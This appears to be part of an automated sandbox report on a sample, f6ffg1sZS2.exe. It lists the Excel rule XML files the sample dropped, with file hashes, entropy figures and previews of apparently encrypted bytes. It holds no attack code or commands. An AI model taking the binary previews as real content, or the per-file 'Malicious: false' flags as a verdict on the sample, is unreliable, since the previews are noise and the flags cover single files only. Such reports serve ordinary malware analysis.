Preview:	<?xml\P.@.Z.W/.........y..Y...7.[....X<q.YU...q......[.1v.xt....#.5.......9.......n.>...&ZnL..e.7}.s>.mr...k.... ...(..pM..,&....U...is.m.4xn.. ...vz....2.:.MgU.rI./,{..\|X9....eD.H>$....&.!...L_.W..A....Tq7..[.M.....j.P........R=V.SUr.3..l.,....#k`.9.,.J..Z&.{.U....:'..r....1W?.&.j...[...o.\J1[`.T..Q.bC........ ......J...3\|...b..'.......C....Tfz@....,_..q\|!...<Q...2.8....J..9....eOfH\.$.6.=U....vs.......=.....)......Ud5.X ..\|.&...L....YGR...=.....V.H...2..........fi%.2.r=.z.X.=u..v.^.....;.?..N.....j...........:H.!..D3.X....Q.S.R...7.z..!8/o.......y......U.P..ts.......?.5....<..f..e.V..L.V...o.........ht.2n..di.)2.^..9h......K..).....`,...#..L=.K...4..G.:T..#.. =F.v.{?0.._n)..$}c.K.j.C..!........wiU.%..2..f...8..}.,....:..J..f...N9.+......P!...C.r`..~..d..^..Vq.Q.*...6v..o.j..}Z.z..v.I.=-.........k.z..MW0\w....l>...y. .=..B.JI42.....H..i..V...;....VI..,....k.W..E%QD}.....Df..}tI...i5..al.].N.Cf..r.v$vhm..O..?.X.[......Z.[.=.9U....W..Z...f~..8Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.81970093884087
Encrypted:	false
SSDEEP:	24:OwKA72ib742rB12y7e5gbbKAyGLAI0Rlw8/i3fdebyr5bD:mA728JB4yqKKAyGLHEivxD
MD5:	15542C36C850037DFD9446EED0DE2188
SHA1:	381901242D4FBCF5DDB0B3A5AF802194DE262DF9
SHA-256:	51EBFA03337B2840A650C56C7A8BD80676B817E4D75461E14B00597509C63A74
SHA-512:	A1C1D1A0A3DD9E4B8FF5435CDB23A647A2B745B4D9B481D1660EECF7D3E9255C68AE80AC3632A96138D688DA5AEB30CBF6848EDF45D51C1D2626E7311B38BDF4
Malicious:	false
Preview:	<?xml....gl%...HHQ..U..qHpQ..H!J..-..........3;..=.fMG...\U..\|..j.9.Z.Lo..c6W...b...!..sZ...W..Q....Y~V.p.F.A^#..}l.+WE)..o......M......K.....D{....,Q/\|}.mvk5Z..X.T..~..4W.......k.OW..aJ...j..3B....D...Z.-.....fJ..>.6..M..y..(..k....l.?..6)!... E...6....Yi.w..CI_j.7..j.'....i5.[....W7.tO2Q...q.k..x\.m.C...@..^..+..&RF.......b?..t..Wl@..x.P..RU..L.)........E...!MB..)d\|-.R..V.....@t...RG...O..A.:.8........"3..vx...\|.N?.!.#....?.@....m..x..#..q..:Ch..2]...NLw)+$..X.(Q/...Jj.o.....[UE.....$B..3:..H.....][.A..H...).=9..R..3..X..K.;...I.Sb..`\}..Q..N.n.wd.......i...Q.o...#.....T.5.u+.Hm.{\|j....q..Ch...}W..e..+......N.X....k.<..t%.O.[L.'#...=...AM.....T#..5.(.e...}.......>'....h.[p.. 4..j...z...\|..g.V..M..=......KAw.......A."].].7g....._..^g.A.$...5.J,.K......q...Ku...'}..E....l..N.....ad../.O.Jk...v...!I......Z..b.t..[.;.........c.l..........=..[..P..:.,-...q.4)\|m..f6.......J.\..+..7t.......k@..-.Q`........Na.Q.. .\B.r-#./.N.....\Oc.:D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.898573776616251
Encrypted:	false
SSDEEP:	24:5eEwv5V8ZF/Hdqh+h6Oeu50s4zfkGy8T3NtGgJfGx67lF8f8vMziqnSlV0pu00bD:5ez+Ffdqq6BINxGR6YG2lFPM2KgD
MD5:	FADA90C0C93196408B88D7AE35AE22C7
SHA1:	911E14170A5D97A3B1835D2398519366D1824885
SHA-256:	1E6D794CE4A75E3F4A642F9C8BD6F4ECF644D4D986EEFD945AA871B186892F88
SHA-512:	677AB5B019C4D36A634577132FC750028F6EDE0AFB7520CEFDC44EB391520D5C5A288C758C50B639F4BAE0B6B2075F9EDED4E4CCFE529A6925494AEAB172F981
Malicious:	false
Preview:	<?xml?{1.(..g..A`x\\|....R.V..^.e..z"...~n.......W.&T`..A.k;(..`\C_....Khb..w.w..n..9..K...e......P...U.1..j...s.p.......[9..{.....%...ln...............?1..X?W..I...y.z.$..5.%.+B..?..]...9.]....a..<.......~..ln7..dOMQ..O.<...Z.....x.d....@_....,B..;..2AG[%.S4...y.02...V.H.2.....tWE.!.............D.".C3O.E.3~)...?t..Zf=..@.w.Q.E.j.%.N.L9.}.....\.r....^.U.....n.......;.1.....3../...ao}R..5..y..a.....Oz.~iD2T%Z9v....G..-..0..W..%\.8z.....%0..$+...d..a.._.e..x.8..aH..3G..\(..s.a...eQ.......m..B/...b..V....7:aFx.m..0.D....K....[...J.=.`Y....u......z..u....E...Pl....V.G..!....m_'..q......w".:b)yFX. ..:Nrt.."W]Q[dQ_bD\.t[0}=2.......M.M..Oe...NG..q....R.f..6..Q.(0.(..n...x.]..\|...a........G...!.... ..v0.....W">4.9.q..R!J...W6c.8,..S.......?..4/TmGz.@........7y.........6'.=<.U....x..Z...:.f.........Jh.4 .Gl...%..w..O.VdV.w:..F^r...gU.A...s.8u>.P.......a..\....6.....E.@.>4i.../...\|iHq:........\..P...i...!.~....%....XgZR.99.I=..0>E.H.K.F...ph.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.7276297472017506
Encrypted:	false
SSDEEP:	24:s6kmfu6UXdEvWJ6j6UjlmGdOHTdd3sRQ0JRbD:s6rudXdyWy61GEHTdpP8D
MD5:	E1CF643B729A4680636D51594F4B1F65
SHA1:	FB4078DF56FE33A957D0E3C5D98D3C0B4835DD22
SHA-256:	BC98DB7F8720F6A2BB1080FB428FD4C75E8EBD2383A5B198F35BA5DD11C65DF2
SHA-512:	BC2FEEA351C8304AD07C4A51A35A5C48CED70A599190197F22F359FB628CB68456B7AE6736F442A7D2B700C387096E8D2352E3BF07A8C9588D005382A80C603A
Malicious:	false
Preview:	<?xml.N.r.a....&^II..h.^.F.. Sr).t......#C?4..!/....l\_......O.{`.o.......Y.Hq':...%.@=.i.il.....:v....a.m...}...,.....P....K,v.x~...)..".e..>.kb1.9.W/hB.n.........t}^.a.........[.}..\...zp....E.2=.......\|...7.`.......x.....T...D>.<..{.t.w;D...;.x6...u..c...........7.....b.k._m...x@.x"OG.]B.....n.&sWL^?.1JO..p%.....(.[.`.HP...<......4....K1o...=kB...2...d..Z..4....$>...U....)...l.....9.9..>....0A..Z.~O.......*Ag.......F5.c..-..n....3n..A.A#`.......g..F.l..?_.:...~>f..;.O9I.aGm#..;Kf......R...Y.s.)w...[\|.b..f........0.0..U.n.v...8H...;.<Go.).:.K..`z.(..w..n..b...G.{HX.38T...@...@5o.0..&J.9.ICAh.Z..3B.....b;m.\K.......l..9O,6.;-m.~#./du<.jj=AgB.b.w.V.L(... ...Y..t.W$LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.805645033665666
Encrypted:	false
SSDEEP:	24:PJTXUI+7AjRSFF+YMY8tTmo/q+LJ/IjvxYe2xiyK3+LchncQ7gEcbD:P1XUJ+RSH1Umaqzl2hzQcE2D
MD5:	90788E706F80687C4723920E494E4190
SHA1:	F215E447D476604C45B1D47D36386F1DD7EACEFD
SHA-256:	19FAAEB90787DE1144D5FA0E7F1F2C8435F843CE664C82D27F91ECE5592A2B58
SHA-512:	74CA3F666843691824D8DE9E0C951DD66C43FCA739248C1BF01EE32DE62AE8712DAFD0FC36928B90D6E406A6C7F306B0BF24DE1050AC162270CEB3D1843A0C3F
Malicious:	false
Preview:	<?xmlg....y.J.W..!.q6..=...6..~.Y.J..[v.4.........Y.Zuh.%(u%.. ,p..?.}....D .Z....y.(AK...%K..#.~.jC&..}P\..5J#7-...Q4.x...'...).........r.?L....50.W......k....}.+[...F.q.y...F..L...s..c[ln.I)F.V....4.,EK.ct7.+..B..re.`Z`(\|.M..Do.dQqtlc...s:@..h]..........K..ms..E.s.......v..P.r..ad-. .~.H."../.i...G....VW...M=..?......>....k....I.E..]u..>.M.\#9`H...9dk..9.E.....P..ZL.F.(.)..Y.g..d~.......4.:LD......;L!t....t[......lZcL.....6{..d.8.I..a....1H\J..O..IZW..-....x..uj.. ..N..X........0q.nH...F..E..n......5...6.H(m\|Y..y....H../...;=.n0B.rTR.3..T...&..tH../[.Y.bt...U..0......Y..zNR....uw.....^.....l.i..>t.U..B...\...c_.F..S..K87....)c.bX.4..,.X....g.....G....K.}.I..Q.....O...9z(.U.8Z.{..2.8..D.=?..n..?L.$.0..aK..#.&..LK..ZOl..IK..]....lX..........5L..=zt..7~.B..)D.....}...L..).w...+..UM_...R[Af...b}c...x.A...i.....c^.U...gU..p.i.$.1..Au....L..XI..t....K.....p......Ew\|{...";..v.v..A....F.\|.3..G........h_..\.BFl"/$..e)....N...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.80590838299945
Encrypted:	false
SSDEEP:	24:etBI5Y2YEStVVeA2uay9ZLPZEZHl/7IkcK6Jsspbc4Eo66kbD:etBI5Y6WVVeATaMV21lD9tS7B6pD
MD5:	482254BE04C892BE49ECDB6490836624
SHA1:	A0F109B2726374B783CA1647EF0205F1546F76EB
SHA-256:	841F441C63F42414219C418E812B4900BB86B6E993A8AAE38DBEB8BEFBA41153
SHA-512:	B324548B77444CE3605F4291CCC7179AAAAFD9F201CC4D89ECB72E3053C2D314DE2B205BC10A6DA34115D411ADEB0BF167AE512D8DA37FD301B2AA65696ED3F5
Malicious:	false
Preview:	<?xml....J2......B.....Q.-..Y.....=.Jy......1.)]f,Tjz.'...._c..[3..K.l.=.....rB...+Y.L..(.@W4-jo...g..;..S...l...2.`../.T.?Yl......L/\|.o......o.........t...9.c...E....R .HV.6...i..`.@=.mj.]:............s\.rZ...[.......s.[.F.S;....8.[.\|.t...E.......:.....W..D;7I."..zg.Hy......;....]......-u&..9r.82.#..0.A...Dh...S.,.sm..]l.B.+..<;G<.N...a......N...W;...X.....T/.F.....1...E..xk.7.%..j...c...".s..^w...Q...c.R.........ST.R.(.T.........6..Ac...dpi...].sg...e?h..A...r.....'G....c......7...Z..x..18 ..r'?x....V....\|..m...8...%......d.:..^..+P.....t.U. 5NX.w..g.\|...O....y..Ex......:4:.y....`ZC......@.....gP...t\RjV...i.3..Q..}F.j.....n.@a..q.E\|ok....EL\.h..\|O<..K...U.:9y....fVa..i.vu.VK.7I.A...Sf>....G......0`;.D&.jo...9f..$6A.2...-..N......U;%.3R..V..-..\|...'u.z..0....G#.Z.....`/...2..b..........Z.Xi....^......-=!9I...Vb..2..+.=.....,:.x.0........./b9.......z.Ho....A........".X.q.....B[.../.Z..}.o...h.W.G.?.....r... LQbDo3EfIVHxGuJOW

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.701690747031386
Encrypted:	false
SSDEEP:	12:z00j4m4fuF19rpVWwDh3/7HlokK5yRvH++6Lr7VI32PEXB8tr4aemUrS2cii9a:zP8m4f89DR/hoXive+yq28Kh4nLbD
MD5:	8540B78098D30B089288CC98379DD168
SHA1:	C597032C5F417E648AF2D09841ED0C4BAB06991A
SHA-256:	B1D9F4380DB8349DA2856638F59C67A45931A0CBF73052698E130E99D3B31EBE
SHA-512:	1FF621C3BC4FCEBBA246B59659535FF45651BD1F616E795628FC52AC348790CA3E6A2AA45905AD879FA6423A285311A146FCC93F82721EE32BA0D3E6DC5EF4A3
Malicious:	false
Preview:	<?xmlh\|........3M..6T#HxV........S......bDn.Zn.V..$..u....C...Me.%.d<...Ws.....l9-...V........z..J...3.i.W.ejjN/..~Q7...`.\.Ft..H.$E.&.\|.k.;.J./...#.k.C.....a*Vf.g..Cq_.D.....8..5K`...v.M\|._.h..X...%;o.9.N9-K..IM.IIau.J.K1%..:...<...7X0.OB.n}G..A...0....N".Z..;.I......E.<^4...&9..ka.s.P...y...1...'o....#..D.?....b.W...r..a..VET..[..-.j.k..h.=.7..FJi7.......e:kT..&.[..HjqM.\!...`...].+.[...i.C.<.jUM..]..}.s.;6sAY,.G.9.4.......Y..t...K..8.Lp.>.Jz{.O.gG.. ..R......IJ...)....B..E.._BJ.........uPo..^~Au..^>.W^~4.q.X...i./dZ8"...i..A.\| ^.5.d......t^k.L....P\|.{...FW.oS..<..i...r..Z..S`.)}..2Y[sx..jQ`..+...RNV...`..cE.~"...q..IB..l.'.g}@.?".P.h.2....s.S..d.b#0V...!.7..$.v.......,.\|...^v.sLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.8706490041406365
Encrypted:	false
SSDEEP:	24:fKcl8VoKGXHuDC3IVh9YAoVkv1+HNRo8pMjv0UTrb5PPcv0cgTrhYPVDAnsCl6LO:fFl8HEu23IVKVkvgHs8pMQ49erA2VhCr
MD5:	AB6233549F854537F0876674A60630D4
SHA1:	E7284450F09DD2AF38DE838DDE79D4BBF38BA267
SHA-256:	4A376FE61C50E5C61B6F41250FDB411561DE6A5816BA50026B7CE58C690F0A25
SHA-512:	77E6CD8B5EC1FB1A1363BC3F9F894DFFDC3CDE0F9958945E0627FCE195643580A6BBF0CFEEA0D843637006CF6F4D7F971899A789CA364D77DA2C6FC839C87588
Malicious:	false
Preview:	<?xml.......7.r...Elh.\|.....V.B"KR=.X..eJ.D.t.C7...A&....0...E,.!...5.WE[Wx.1...Y`=\.C..(.%,......6..E.k.H...,...........V.a{.....?....s{RC+M.O.RO..W...:;...$.5...HO......o`........q..q.\e.>......c.$-.q......l.....v..... ?#..(...D..r}hy...]o...F.....nq...6.o..+......p..WW6....#Q.....;:..[&:E.M.....j=.<Oj.yH...x.b....q...N....y...H.e.(.......3Bk."l.>.OB..\va.~}/.........0.,".e.Nv^...7.m."..a.,..m..Cs.z!.(...9...<.DM.J. .$...e/.F........I..%4..hd.+.$cv....C...P.a.r{.u/N......~....dae...,.L...O..3.s.dF$xJ.v@...F..........Z..k...u..??.....&....Nh.B#...B.&.0....R"\|Wky+xWE62..].e..v}.c..,.vE...&......5:j~....nDV.69.kGs5..pGx.ZU..#o4i....`.;.&..tn.t......#MM...y.=^...EKN:...2w.B..t._..A.e!..$1/.......PMY....H..b....W......?..d.e........t.@....q..Y[....H\../.C..f.oNR......&S....-...+p44)..9"n...~^....."..9....3.I~..%.../U.[......H...ls........kpW.g....C.T\|.*.)..?.X.DO.mT.z)......4.e.D...f....u...6f9.a........X[...!#.X6.#NZL.z.u.'B.uZV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.837877138694244
Encrypted:	false
SSDEEP:	24:kfRYPUQj6opEhXKlCGmPkkllPnjs2rq7G0ZLL3eBPybD:k5lS4ZKzmMI4s0ZeBPgD
MD5:	5867273F075D367238E58F667030A9BE
SHA1:	5D79773684517F60C3447E33CF0030209FA70CD4
SHA-256:	FA0D708E29047DE98AD44373541EAD3E9336B110B97BA5E1AC4265C22E882B27
SHA-512:	38118F5C6D93049A3DA9D28DA9CDE70368C132FB48549B85ED7CD973F764AD6967F3DCA9BFBE622C83BB9CFEEF9244A196D81D5FBBCC9ACAC824A49ADD83AD9C
Malicious:	false
Preview:	<?xml$..8....x=..Q..SK.\.].8....ny.....S..d+`$..~..E/..G?.......sn.E.3..V...>O\{0p...%VtX.c...(r w......J.F........i.3....$.I.$.pz...3c..D..7=.W..D._..j..bw/%...e...i...........d....)....v`.@.S..(.1Cs....5..CV..b..L[hO../.(.!{.......c..o2<O.:.s....v....6[[...n...\..A%oOp.\|f..\...8...ioi.b.Q..O.....y...rl..v.}.;.Nt!..2.Cc..."...N..M....~^..>...b..Pdg......`J.^....O..Wj..3:...,l.B0 ..)hn.d..<g..!.6M_......Mc~!..W....i..W....S....qMc.....$.W.......e.'....>}7......Z....ge....ct?x...:@...r..9.}..T..o....CL.,V.....#j.e..j{..?.K.Y.X..X__-.m.............0..g..T9(,....)....c.h.&g.1A~.. LEM.B.t$kkNO.._...lp>..P...t`.$.S.3.\3....ts...>.-#..J%a...9..O.Vr.:...o.\|Xt..~?.+...~...e..C.l.a{.+q..a".F..C..2C.V.!.pKK.....%.s.RE..m.t*....q....O+.paz.....+....C\.\...d.l.1G.....H...%6.(..:xK.. .1.{..j..c....b>O&...X..,.6f..V.\|.].[P.I..<s..v.g."4....P].Q....jt8.v...&..2.\R.....'..H.....!E..P.{w.....=.10.M.\|}~U.Q....X..L3.q...%...qe......ic.s..bO.jg... }}..x].k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.857658462412986
Encrypted:	false
SSDEEP:	24:lV/G+W33sQZHM2kxPa7ruPlkYP/WAAl5i9PAmRyevSJh0OptlzKr1pNbD:lV+XsQtMnxi7atx2cbRyeSvZt5AtD
MD5:	2BEB08C692AC2B482BBF316C3F88B36A
SHA1:	B3FF9BC93F51E53C68B40C9AD3EAF7BC57EC4F19
SHA-256:	D91CC300D597DBFAA319B1EA99EE91885DD6375523C247BCB22E53C49BE56A1C
SHA-512:	7CC2FB41DB51F5DCF314ABED59D7647593B9F55E45D96FAD1F54895C92EC1FBCCF32238F01B75ECDC475984F30C4B1B5F7B28E2F90DDCBC171828A52311C6A6F
Malicious:	false
Preview:	<?xml..l...".kc.Y[.G....=X....m...L2.'.........9(}.J.'>4=.@.....W.+t.y[...0....L`..#.=U4{a...q;..YWr.U.v.].....{..}.....^.7......k.D02F4)..8D../.u..".z;..$>@k.A......E.R.y.G...V...(Y...r_....p.".$..N...1G..v.6\|s .rt...fJ......4.....V.4..".......B....ZN.Y..2...!.p...y{qV..o...+.Pi\/&.......'V.K\...b.&...4...-a.".g.0.U(....Z.M../.U..j.z-..,..<_..}..Q..(....h...$.....l...&..c.4(.......az..\|...A..<$.C$....^........l..H...\|.....Y....+...d_....s.....wV..R .A........q..).]..R.6)......E).,.m1.`P../..R..S.....Tl.ye.ur...?...2(p~......../P......z..j.V....]...W..#)....?S..4K.I....:.c...7.7...+.aM6..5..k-=.\|..?d.QK.O..B.y^...._.>.Y....h5.......Y..1...P.-z..b...+iE.Gz. .3.j<.D.(.......:7>.[.....].I.E+.@W?.{7...C.........Jt...Ni\|J.F....^...o.l..#e....\.~E.5.8.s7.4`..uOO'.{.:9X.A.."2c...m0..?Y.p.S.=.E...dZ.d......._.N....,...p............}.....d...k.?...]......O..8.f.]<....A?.....~5..2..u...46Wr.....y ...,{P...J.j.uC..{(...S...~5...5!%Vo.L9.5...bR..(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.8466076797283595
Encrypted:	false
SSDEEP:	24:f8ewVpThle7xKgJy5NszPa8kgtyjiiIYWKjO8oybD:flQhletKgSjRnI7K7ogD
MD5:	753A77A230F58D4B8EDF256DCA2D101A
SHA1:	5A827E0550E48BB73A2860438EC40B89B9F28FFC
SHA-256:	15AF130D9AAFFE9EF4FBE76DE72FA0F6341E4832D9EEE609BCDD3EBD7530795C
SHA-512:	4AEE32807116261BFB9C181960B304362627BBED99B9A2A8FEB62FA1F706439910AA4905DFD13864403724E87659C35C6385F40E1017E332700EA93B844E1C6E
Malicious:	false
Preview:	<?xml...o.1...9..l.izO..(Q...R....[U.Q!..q..B..9.'w%..._..`...[A`%T...l.\.. .,...N-3.........z.b.d^.QG....)!.J"..i}.K.1.].~...s..Y.}...h^..wI..h..).{CZ......3.b.;.....M..`v...y.....m..a...U....+..V+..D..e.d.........1.c.mJU..h..D#8.B...)%..........N...m.x./3.v........3...0=R..c.-Q.}s.....?...q..7.S+.$...k.I..S...Y.eG.h[.j..Z..(..\..S.x.g/...vi....##0.g..y]..W.?...._Z....u..P,..aP<N. ..I..=.pw.>.........Q.1..Y.v.1..\x..@r...l..=...).....Q93.U....\.p.<.On."%."..w.2...G._.W.sx...".G?.@TG.7/..4.An.bp.....}.?.P.7..S/.&o.^M...@y5.V.w.&....^Z..e.n.?..''vP.U...z8....s....8..~...`...l.&cn....=`......H...Ot...?k..7..y........_.2.<.._..~/..~....&...._Jg..vC....x.6L.S`.=..{a...eN.......6.U,.YF....Ad..DoSN.(Zz.m.l.Z.,..t......6.%f\|c.y..T....Jx_t..~.)[M.....V..L.._.......0 G.fz..Vq...;.Iz_.slHO....y....[.M.x.......A.65...fa.7j.`#dj6q..!..-.?...].u..+=k......ni......@...\.C.%V.R ..m..G.p.@m...G....g.....R.H....#t..T..%.B..!c...o.kv/xL......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.904045258161125
Encrypted:	false
SSDEEP:	48:gjfBM6LwZrru9cYzzlbQkIKCwH8NJEHdD:gje6LqrruXzzlEkIX7C
MD5:	5AFA44D920CD90507F3FDCF254288BC6
SHA1:	B3E3D6C95CD1EDA3E56F80F3F45CDE4EAA928B7B
SHA-256:	0804219C7085E24D8718D213B276E3B595928134646417E0B4734C8D42734DA4
SHA-512:	79C93962D7E447793B02635B26257C8804A0030112A447BC0B0B32CFF8C67EC3ABC2BE7F0D2BDFE103CF25DC0AEBE7E285E95B23940CE29ADF4CDFF46FDFE808
Malicious:	false
Preview:	<?xml..J(..B...$..^.....`.?!...X.s..a.5..............W.&......rh.'.O......[..^c....?.t.....FPV\..".i....?i...O"...K"...,.9..C.. .c....y.... .e....SC...MUY.Jj.r.i[.Y...%.(..#..j..D..m.....x.R.K.q.r.9....DW...SC.e..........EY..9.:.9.b..m?..4.......-...v\|g.Ug.F...6%.....;.....{\|`0.?../.c].. ..y..Q.?%n.......ec.=U.X.T........m...Po.....&.34[#.>N:.z...g.r....q.!Fz.......#)k.~3S..83...'.._}.5.....v......C.0/...a.......w..k6VQ#H.D.L..H0.MA...3V.....`...B....x..47....;.!.).Q.u...i...`O...Y..)...=.....&..$..v...f...+.....P...9.vcm4...:#.;...dw.....1....j.......R}...B.J..0.1.U...[.#.,=..}...5.p.......l...7@@....5.2.........9..7+N.'M@.E.V.e.K.>...v..T.BM7.2...9.nS.E..d.L...LI.g.F.)......B...(-.1...4..].......qfZC2w..k......Z..C&.&1]]..X..#....1...../.;`.....G..qbW....Y.=P>...............+....9.ck~..8$...}...K?../.p......."7N....K...I...w...4.N ..%...6/?....g"!.z..5........}.y.,{..v.2f..r...".b.d,...9........Y...Z..vUE.)3...Nq......g.h2.6.....&..0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.792558977383443
Encrypted:	false
SSDEEP:	24:Uiqn86tRkXLV+X0Y6DJ6GIKscO8+gmwOER0V3sL4ybD:UicdtRgA0nfIKscGgmwOERs3sL4gD
MD5:	7F7B22D9F533ACC6B3109A00D3622EB6
SHA1:	866E49831B94D4C6F604A56D694B1F081F701710
SHA-256:	D2D43740E0E38C3C091DFA88DF003E6840E3C1D407D3D2F637819D125C259334
SHA-512:	435D3028C75053F8497745AE274C6929FF5605DE9C76125FB56095C96FB7C9BEF08FE5CB4FB79C5DFDCAF5D651B970A9B21994B08F880914FEF5C90634A2C6A9
Malicious:	false
Preview:	<?xmlQ..U~..QM.......g..mZ..C.+j.8.es.d.....L......]D..R..%s...q....:..L........V.w..".JV"..W........m._~k......&.FD....?`7~.K.:.....O..6.,o..z.e.$....^U.m.)n..zl....Bt..ko0.3e.....e..Z}...:.....#../}.qK.4@.e.F....... ...'..W.E.@.lp?...h.v..&!.....BN.._......4S..>a....h.n...D........<d..-..V....0x......W...E;.)..wi.q....0..\"V.`...o..~...W........./..I.z....e.....(.Vxn.x...P1A..._.VnPCg.....a@Y.....T.[!...4....6tI./m........S..a.c/o..<....0Gy...X... ..0..b...<@.].....\....-`.v..Ft...y"G9;)...9....n..q.Q~/...x...uRm..=^../.Z......gx..WS.._P.E..AF8..,C+....{.......J..3n....C.....Y...T2..m5.09L2.H2.&f.q...T.P...~Cp}..Gz....NfM.2.5..c3r..t......T.}B..\.,a5Q...3.9...w....?f.s.T.?...~.5..e/]6M..(...?W.\|......\..{..W...gi.....+9......:..#.]~.gq....a....'.......oC3.9..4.S.a......:..].p..K.4... m\|dT.jmu.6..??pqA..S.E.p[e...k..v.QRE.....z.YLaC..k.U.W...!.........#...p.......yLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.896014760934242
Encrypted:	false
SSDEEP:	48:xLstGQh6dX/NVqUsxJPWVyBQcQhhMyadf9EKAeQrvgl22rfg+oPUWVCHs5D:atZa/NDs3BakdYey2rfXoPUWVpx
MD5:	DDB313DB1A6D28A0C215B2AB3B5DEDCA
SHA1:	382B176F58EEBB58814ED94003A32C1219D12BFA
SHA-256:	AA77440EF1EBED523AB947340FA68C6CAFFB6C579362BD3B284DD7F84A06FF49
SHA-512:	5DE56C51D1A42C18B2DDA3DE647F75D5B4B2B70AE74BF1E4001F6E775A7F1BCABC88DF36D01BFEA08DE308EE0E85D2AD73204C7C189BF4AEF0A5124983959D80
Malicious:	false
Preview:	<?xml;U].q.'.14._`.].1s...:.[k...l....m.kH.1''.W5d.H4.7.[."Q.3 0.xOw..ij.G.../+B,.....\...0..S....]5..".,.w7&...(.wB.7w7...>..E...x>.\|rq.....q..d.../.....J$i..-....2./.;..b.....[.....g.i=^...if..j...<T...^Z.Dq.P8\|..i...dE.%.N\|..tA....!/i+8:.[>....0[I1.jC.....]..q....C..d`U...EG;D.#..e....,..f..M;.#.$c.....N..c....=^...o...V....4zS.\|.^P...]......7.#=..ju.{...{...c;..<q.E^..Zr...@U..,...A9.u.8....4Q.m5.%5.....gjD;..?"q..:....>..d$..R...^?..rLp.."p.....jz.W.FPmH...5......o...r[i..9`..Xa.......[....4.(..x..fs..Z...\|d.k.%7W?)..e8...N.Uw.....'@..hI.4.?w..qj....).....Gn..z.3#.A.A....#.y(......y^j_5@.. .K..'..r.b.S.q.>....Q..j..!.i.ypR.8.v_hG"%. .t..[J.B.\|x..c.!0R.JH.^...tp.iW.R,.`.!.d...(.8...I.y]....=./.....O..n....?.N...\|.E...{).3...Zn(..p5V"..E....k....9..`...A.L.....G.8..N..b.'._.#....B.....?ChX..4..a.&...6.-.A........JD.z...p.....'....d.@...r.r....t....O/.b+BG..0..MX.....HaUS..Qp..F.U43`.R.G.c..2.i..../.,.vk.....rX.p."!I~m.@%C..~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.954491168200188
Encrypted:	false
SSDEEP:	96:ETpcA8aIHTa5ndSVrWro4gr4YJ0OJa6RY5/v6a:ETKA8aIAndSlDzp0J5/P
MD5:	810E4F093D3DD9E4C34FA4F1CF4774B5
SHA1:	4DCADA3A64CBDB9FE3BA9EAF8ACCBF484DB7C385
SHA-256:	51F2908A0124A38F8680D0EF6E9AC2853C2A774CD057FDA6E45965576B259090
SHA-512:	E5EED4258115892F2EAACB2616749CD43651A1E0E9C933B8248D81E5C2AD9363980687300DE1C5A3797469F9BAA6D65B7E1A007D44985BEEF6E448D9B8773B68
Malicious:	false
